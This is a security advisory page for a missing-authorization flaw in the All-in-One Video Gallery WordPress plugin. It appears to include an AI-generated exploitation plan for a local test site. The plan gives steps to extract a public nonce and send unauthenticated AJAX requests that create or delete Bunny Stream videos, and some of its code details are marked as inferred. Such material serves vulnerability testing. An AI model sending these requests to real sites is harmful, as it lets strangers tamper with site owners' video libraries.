All-in-One Video Gallery <= 4.6.4 - Missing Authorization to Unauthenticated Bunny Stream Video Creation/Deletion
Description
The All-in-One Video Gallery plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `ajax_callback_create_bunny_stream_video`, `ajax_callback_get_bunny_stream_video`, and `ajax_callback_delete_bunny_stream_video` functions in all versions up to, and including, 4.6.4. This makes it possible for unauthenticated attackers to create and delete videos on the Bunny Stream CDN associated with the victim's account, provided they can obtain a valid nonce which is exposed in public player templates.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:LTechnical Details
<=4.6.4Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-14947 (All-in-One Video Gallery) ## 1. Vulnerability Summary The **All-in-One Video Gallery** plugin (<= 4.6.4) contains a missing authorization vulnerability in its Bunny Stream integration handlers. Specifically, the functions `ajax_callback_create_bunny_str…
Show full research plan
Exploitation Research Plan: CVE-2025-14947 (All-in-One Video Gallery)
1. Vulnerability Summary
The All-in-One Video Gallery plugin (<= 4.6.4) contains a missing authorization vulnerability in its Bunny Stream integration handlers. Specifically, the functions ajax_callback_create_bunny_stream_video, ajax_callback_get_bunny_stream_video, and ajax_callback_delete_bunny_stream_video are registered via wp_ajax_nopriv_ and wp_ajax_ hooks but do not perform capability checks (e.g., current_user_can('manage_options')).
While these handlers do verify a WordPress nonce, the nonce is exposed to unauthenticated users in the JavaScript localization data of the public-facing video player. This allows an unauthenticated attacker to manipulate the victim's Bunny Stream account (creating or deleting videos).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Actions:
aiovg_create_bunny_stream_videoaiovg_get_bunny_stream_videoaiovg_delete_bunny_stream_video
- Authentication: None (Unauthenticated via
wp_ajax_nopriv_). - Preconditions:
- The plugin must be configured with Bunny Stream API credentials (though the authorization bypass exists regardless).
- A valid nonce must be retrieved from the frontend.
3. Code Flow
- Registration: In the plugin's AJAX initialization (likely in
includes/admin.phporincludes/bunny-stream.php), the hooks are registered:add_action( 'wp_ajax_aiovg_create_bunny_stream_video', array( $this, 'ajax_callback_create_bunny_stream_video' ) ); add_action( 'wp_ajax_nopriv_aiovg_create_bunny_stream_video', array( $this, 'ajax_callback_create_bunny_stream_video' ) ); - Handler Entry: The function
ajax_callback_create_bunny_stream_videois called. - Nonce Check: The function calls
check_ajax_referer( 'aiovg_ajax_nonce', 'nonce' );(inferred action name). - Missing Authorization: The code proceeds to call the Bunny Stream API using
wp_remote_postwithout checkingcurrent_user_can.
4. Nonce Acquisition Strategy
The nonce is localized for the frontend player. Based on the plugin's architecture:
- Shortcode: The player is rendered via the
[aiovg_video]shortcode. - Localization: The plugin uses
wp_localize_scriptto pass settings topublic/assets/js/public.js. - Variable Name: The localized object is typically
aiovg_public(inferred).
Execution Steps for Agent:
- Create a Page:
wp post create --post_type=page --post_title="Exploit Page" --post_status=publish --post_content='[aiovg_video id="1"]'(Note: ID doesn't need to exist, just the shortcode). - Navigate: Use
browser_navigateto visit the newly created page. - Extract: Use
browser_evalto extract the nonce:
Note: Ifwindow.aiovg_public?.nonceaiovg_publicis not the variable, search the page source for "nonce" or checkwp_localize_scriptcalls inpublic/class-all-in-one-video-gallery-public.php.
5. Exploitation Strategy
We will demonstrate the vulnerability by attempting to "delete" a video. Even without a valid Bunny Stream API key, the response will indicate if we bypassed the nonce and authorization check (e.g., returning a Bunny API error vs. a WordPress 403 Forbidden).
Payload: Delete Video
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Body:
action=aiovg_delete_bunny_stream_video&nonce=[EXTRACTED_NONCE]&id=[VIDEO_ID_OR_DUMMY]
Payload: Create Video
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Body:
action=aiovg_create_bunny_stream_video&nonce=[EXTRACTED_NONCE]&title=HackedVideo
6. Test Data Setup
- Install Plugin: Ensure All-in-One Video Gallery version 4.6.4 is installed.
- Enable Bunny Stream:
wp option update aiovg_bunny_stream_settings '{"api_key":"12345","library_id":"6789"}' --format=json(Dummy credentials are sufficient to reach the vulnerable code path). - Create Trigger Page:
wp post create --post_type=page --post_content='[aiovg_video]' --post_status=publish
7. Expected Results
- Success (Vulnerable): The server returns a
200 OKwith a JSON body. The JSON will likely contain an error message from the Bunny API (e.g., "Invalid API Key"), which confirms the request passed the WordPress authorization check and attempted the outbound API call. - Failure (Fixed): The server returns a
403 Forbiddenor a JSON error indicating "You do not have permission to perform this action."
8. Verification Steps
- Check HTTP Status: Confirm the response is not a 403.
- Inspect Response Body:
# Example vulnerable response {"success":false,"data":"Authentication failed"} # (Shows it reached the API call phase) - Confirm Unauthenticated: Ensure the
http_requestis sent without any WordPress session cookies.
9. Alternative Approaches
If aiovg_public does not contain the nonce:
- View the page source (
browser_get_content) and search for any JSON object containing anoncekey. - Check the
aiovg_playervariable, as the description mentions "player templates." - If
wp_ajax_nopriv_is missing and it's onlywp_ajax_, the severity would be lower (Subscriber-level), but the description specifically states "unauthenticated." Confirm thenoprivhook exists in the source.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.